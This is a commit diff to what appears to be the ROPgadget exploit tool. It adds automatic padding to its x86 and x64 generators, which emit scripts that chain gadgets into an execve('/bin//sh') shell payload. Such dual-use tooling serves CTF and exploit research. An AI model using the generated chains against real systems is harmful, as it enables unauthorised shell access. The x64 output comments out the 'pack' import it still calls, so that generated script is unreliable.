Fill in ropchain padding automatically
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com> Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
This commit is contained in:
Liam Dalgarno
@ -14,9 +14,10 @@ from capstone import *
|
||||
|
||||
|
||||
class ROPMakerX64(object):
|
||||
def __init__(self, binary, gadgets, liboffset=0x0):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
self.paddingLen = paddingLen
|
||||
|
||||
# If it's a library, we have the option to add an offset to the addresses
|
||||
self.__liboffset = liboffset
|
||||
@ -40,7 +41,7 @@ class ROPMakerX64(object):
|
||||
if g != "ret":
|
||||
if g.split()[0] == "ret" and g.split()[1] != "":
|
||||
raise
|
||||
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
return [gadget, regex.group("dst"), regex.group("src")]
|
||||
except:
|
||||
continue
|
||||
@ -58,7 +59,7 @@ class ROPMakerX64(object):
|
||||
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
|
||||
if g.split()[0] == "ret" and g.split()[1] != "":
|
||||
raise
|
||||
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
return gadget
|
||||
except:
|
||||
continue
|
||||
@ -70,9 +71,9 @@ class ROPMakerX64(object):
|
||||
if g.split()[0] == "pop":
|
||||
reg = g.split()[1]
|
||||
try:
|
||||
print("\tp += pack('<Q', 0x%016x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
|
||||
print("p += pack('<Q', 0x%016x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
|
||||
except KeyError:
|
||||
print("\tp += pack('<Q', 0x4141414141414141) # padding")
|
||||
print("p += pack('<Q', 0x4141414141414141) # padding")
|
||||
|
||||
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall):
|
||||
|
||||
@ -82,99 +83,99 @@ class ROPMakerX64(object):
|
||||
if s["name"] == ".data":
|
||||
dataAddr = s["vaddr"] + self.__liboffset
|
||||
if dataAddr is None:
|
||||
print("\n[-] Error - Can't find a writable section")
|
||||
print("# [-] Error - Can't find a writable section")
|
||||
return
|
||||
|
||||
print("\t#!/usr/bin/env python2")
|
||||
print("\t# execve generated by ROPgadget\n")
|
||||
print("\tfrom struct import pack\n")
|
||||
print("#!/usr/bin/env python3")
|
||||
print("# execve generated by ROPgadget\n")
|
||||
print("# from struct import pack\n")
|
||||
|
||||
print("\t# Padding goes here")
|
||||
print("\tp = ''\n")
|
||||
print("# Padding goes here")
|
||||
print("p = b'" + ('A' * self.paddingLen) + "'\n")
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("\tp += '/bin//sh'")
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("p += b'/bin//sh'")
|
||||
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
|
||||
self.__padding(xorSrc, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popRdi["vaddr"], popRdi["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popRdi["vaddr"], popRdi["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
|
||||
self.__padding(popRdi, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popRsi["vaddr"], popRsi["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popRsi["vaddr"], popRsi["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popRsi, {"rdi": dataAddr}) # Don't overwrite rdi
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popRdx["vaddr"], popRdx["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popRdx["vaddr"], popRdx["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popRdx, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(xorRax["vaddr"], xorRax["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(xorRax["vaddr"], xorRax["gadget"]))
|
||||
self.__padding(xorRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
|
||||
|
||||
for i in range(59):
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(incRax["vaddr"], incRax["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(incRax["vaddr"], incRax["gadget"]))
|
||||
self.__padding(incRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(syscall["vaddr"], syscall["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(syscall["vaddr"], syscall["gadget"]))
|
||||
|
||||
def __generate(self):
|
||||
|
||||
# To find the smaller gadget
|
||||
self.__gadgets.reverse()
|
||||
|
||||
print("\nROP chain generation\n===========================================================")
|
||||
print("\n# ROP chain generation\n#===========================================================")
|
||||
|
||||
print("\n- Step 1 -- Write-what-where gadgets\n")
|
||||
print("\n# - Step 1 -- Write-what-where gadgets\n")
|
||||
|
||||
gadgetsAlreadyTested = []
|
||||
while True:
|
||||
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
|
||||
if not write4where:
|
||||
print("\t[-] Can't find the 'mov qword ptr [r64], r64' gadget")
|
||||
print("# [-] Can't find the 'mov qword ptr [r64], r64' gadget")
|
||||
return
|
||||
|
||||
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
|
||||
if not popDst:
|
||||
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
||||
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
|
||||
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
|
||||
if not popSrc:
|
||||
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
||||
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
|
||||
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
|
||||
if not xorSrc:
|
||||
print("\t[-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2], write4where[2]))
|
||||
print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2], write4where[2]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
else:
|
||||
break
|
||||
|
||||
print("\n- Step 2 -- Init syscall number gadgets\n")
|
||||
print("\n# - Step 2 -- Init syscall number gadgets\n")
|
||||
|
||||
xorRax = self.__lookingForSomeThing("xor rax, rax")
|
||||
if not xorRax:
|
||||
print("\t[-] Can't find the 'xor rax, rax' instruction")
|
||||
print("# [-] Can't find the 'xor rax, rax' instruction")
|
||||
return
|
||||
|
||||
incRax = self.__lookingForSomeThing("inc rax")
|
||||
@ -187,7 +188,7 @@ class ROPMakerX64(object):
|
||||
instr = [incRax, incEax, incAx, addRax, addEax, addAx]
|
||||
|
||||
if all(v is None for v in instr):
|
||||
print("\t[-] Can't find the 'inc rax' or 'add rax, 1' instruction")
|
||||
print("# [-] Can't find the 'inc rax' or 'add rax, 1' instruction")
|
||||
return
|
||||
|
||||
for i in instr:
|
||||
@ -195,31 +196,31 @@ class ROPMakerX64(object):
|
||||
incRax = i
|
||||
break
|
||||
|
||||
print("\n- Step 3 -- Init syscall arguments gadgets\n")
|
||||
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
|
||||
|
||||
popRdi = self.__lookingForSomeThing("pop rdi")
|
||||
if not popRdi:
|
||||
print("\t[-] Can't find the 'pop rdi' instruction")
|
||||
print("# [-] Can't find the 'pop rdi' instruction")
|
||||
return
|
||||
|
||||
popRsi = self.__lookingForSomeThing("pop rsi")
|
||||
if not popRsi:
|
||||
print("\t[-] Can't find the 'pop rsi' instruction")
|
||||
print("# [-] Can't find the 'pop rsi' instruction")
|
||||
return
|
||||
|
||||
popRdx = self.__lookingForSomeThing("pop rdx")
|
||||
if not popRdx:
|
||||
print("\t[-] Can't find the 'pop rdx' instruction")
|
||||
print("# [-] Can't find the 'pop rdx' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 4 -- Syscall gadget\n")
|
||||
print("\n# - Step 4 -- Syscall gadget\n")
|
||||
|
||||
syscall = self.__lookingForSomeThing("syscall")
|
||||
if not syscall:
|
||||
print("\t[-] Can't find the 'syscall' instruction")
|
||||
print("# [-] Can't find the 'syscall' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 5 -- Build the ROP chain\n")
|
||||
print("# - Step 5 -- Build the ROP chain\n")
|
||||
|
||||
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall)
|
||||
|
||||
|
||||
@ -13,9 +13,10 @@ from capstone import *
|
||||
|
||||
|
||||
class ROPMakerX86(object):
|
||||
def __init__(self, binary, gadgets, liboffset=0x0):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
self.paddingLen = paddingLen
|
||||
|
||||
# If it's a library, we have the option to add an offset to the addresses
|
||||
self.__liboffset = liboffset
|
||||
@ -40,7 +41,7 @@ class ROPMakerX86(object):
|
||||
if g != "ret":
|
||||
if g.split()[0] == "ret" and g.split()[1] != "":
|
||||
raise
|
||||
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
return [gadget, regex.group("dst"), regex.group("src")]
|
||||
except:
|
||||
continue
|
||||
@ -58,7 +59,7 @@ class ROPMakerX86(object):
|
||||
if g != "ret":
|
||||
if g.split()[0] == "ret" and g.split()[1] != "":
|
||||
raise
|
||||
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
return gadget
|
||||
except:
|
||||
continue
|
||||
@ -70,9 +71,9 @@ class ROPMakerX86(object):
|
||||
if g.split()[0] == "pop":
|
||||
reg = g.split()[1]
|
||||
try:
|
||||
print("\tp += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
|
||||
print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
|
||||
except KeyError:
|
||||
print("\tp += pack('<I', 0x41414141) # padding")
|
||||
print("p += pack('<I', 0x41414141) # padding")
|
||||
|
||||
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
|
||||
|
||||
@ -82,142 +83,152 @@ class ROPMakerX86(object):
|
||||
if s["name"] == ".data":
|
||||
dataAddr = s["vaddr"] + self.__liboffset
|
||||
if dataAddr == None:
|
||||
print("\n[-] Error - Can't find a writable section")
|
||||
print("\n# [-] Error - Can't find a writable section")
|
||||
return
|
||||
|
||||
print("\t#!/usr/bin/env python2")
|
||||
print("\t# execve generated by ROPgadget\n" )
|
||||
print("\tfrom struct import pack\n")
|
||||
print("#!/usr/bin/env python2")
|
||||
print("# execve generated by ROPgadget\n" )
|
||||
print("from struct import pack\n")
|
||||
print("import sys")
|
||||
|
||||
print("\t# Padding goes here")
|
||||
print("\tp = ''\n")
|
||||
print()
|
||||
print("out_file = sys.argv[1]")
|
||||
print()
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data" %(dataAddr))
|
||||
print("p = b'" + ('A' * self.paddingLen) + "'\n")
|
||||
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("\tp += '/bin'")
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("p += b'/bin'")
|
||||
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("\tp += '//sh'")
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("p += b'//sh'")
|
||||
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
|
||||
self.__padding(xorSrc, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data" %(dataAddr))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
|
||||
self.__padding(popEbx, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
|
||||
self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
|
||||
|
||||
for i in range(11):
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
|
||||
self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
|
||||
|
||||
print()
|
||||
print(r"""
|
||||
with open(out_file, "wb") as f:
|
||||
f.write(p)
|
||||
""")
|
||||
|
||||
def __generate(self):
|
||||
|
||||
# To find the smaller gadget
|
||||
self.__gadgets.reverse()
|
||||
|
||||
print("\nROP chain generation\n===========================================================")
|
||||
print("\n# ROP chain generation\n# ===========================================================")
|
||||
|
||||
print("\n- Step 1 -- Write-what-where gadgets\n")
|
||||
print("\n# - Step 1 -- Write-what-where gadgets\n")
|
||||
|
||||
gadgetsAlreadyTested = []
|
||||
while True:
|
||||
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
|
||||
if not write4where:
|
||||
print("\t[-] Can't find the 'mov dword ptr [r32], r32' gadget")
|
||||
print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
|
||||
return
|
||||
|
||||
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
|
||||
if not popDst:
|
||||
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
||||
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
|
||||
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
|
||||
if not popSrc:
|
||||
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
||||
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
|
||||
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
|
||||
if not xorSrc:
|
||||
print("\t[-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
|
||||
print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
else:
|
||||
break
|
||||
|
||||
print("\n- Step 2 -- Init syscall number gadgets\n")
|
||||
print("\n# - Step 2 -- Init syscall number gadgets\n")
|
||||
|
||||
xorEax = self.__lookingForSomeThing("xor eax, eax")
|
||||
if not xorEax:
|
||||
print("\t[-] Can't find the 'xor eax, eax' instruction")
|
||||
print("# [-] Can't find the 'xor eax, eax' instruction")
|
||||
return
|
||||
|
||||
incEax = self.__lookingForSomeThing("inc eax")
|
||||
if not incEax:
|
||||
print("\t[-] Can't find the 'inc eax' instruction")
|
||||
print("# [-] Can't find the 'inc eax' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 3 -- Init syscall arguments gadgets\n")
|
||||
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
|
||||
|
||||
popEbx = self.__lookingForSomeThing("pop ebx")
|
||||
if not popEbx:
|
||||
print("\t[-] Can't find the 'pop ebx' instruction")
|
||||
print("# [-] Can't find the 'pop ebx' instruction")
|
||||
return
|
||||
|
||||
popEcx = self.__lookingForSomeThing("pop ecx")
|
||||
if not popEcx:
|
||||
print("\t[-] Can't find the 'pop ecx' instruction")
|
||||
print("# [-] Can't find the 'pop ecx' instruction")
|
||||
return
|
||||
|
||||
popEdx = self.__lookingForSomeThing("pop edx")
|
||||
if not popEdx:
|
||||
print("\t[-] Can't find the 'pop edx' instruction")
|
||||
print("# [-] Can't find the 'pop edx' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 4 -- Syscall gadget\n")
|
||||
print("\n# - Step 4 -- Syscall gadget\n")
|
||||
|
||||
syscall = self.__lookingForSomeThing("int 0x80")
|
||||
if not syscall:
|
||||
print("\t[-] Can't find the 'syscall' instruction")
|
||||
print("# [-] Can't find the 'syscall' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 5 -- Build the ROP chain\n")
|
||||
print("\n# - Step 5 -- Build the ROP chain\n")
|
||||
|
||||
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
|
||||
|
||||
|
||||
@ -11,10 +11,11 @@ from ropgadget.ropchain.arch.ropmakerx86 import *
|
||||
from ropgadget.ropchain.arch.ropmakerx64 import *
|
||||
|
||||
class ROPMaker(object):
|
||||
def __init__(self, binary, gadgets, offset):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
self.__offset = offset
|
||||
def __init__(self, binary, gadgets, paddingLen, offset):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
self.paddingLen = paddingLen
|
||||
self.__offset = offset
|
||||
|
||||
self.__handlerArch()
|
||||
|
||||
@ -23,12 +24,12 @@ class ROPMaker(object):
|
||||
if self.__binary.getArch() == CS_ARCH_X86 \
|
||||
and self.__binary.getArchMode() == CS_MODE_32 \
|
||||
and self.__binary.getFormat() == "ELF":
|
||||
ROPMakerX86(self.__binary, self.__gadgets, self.__offset)
|
||||
ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
|
||||
|
||||
elif self.__binary.getArch() == CS_ARCH_X86 \
|
||||
and self.__binary.getArchMode() == CS_MODE_64 \
|
||||
and self.__binary.getFormat() == "ELF":
|
||||
ROPMakerX64(self.__binary, self.__gadgets, self.__offset)
|
||||
ROPMakerX64(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
|
||||
|
||||
else:
|
||||
print("\n[Error] ROPMaker.__handlerArch - Arch not supported yet for the rop chain generation")
|
||||
|
||||
Reference in New Issue
Block a user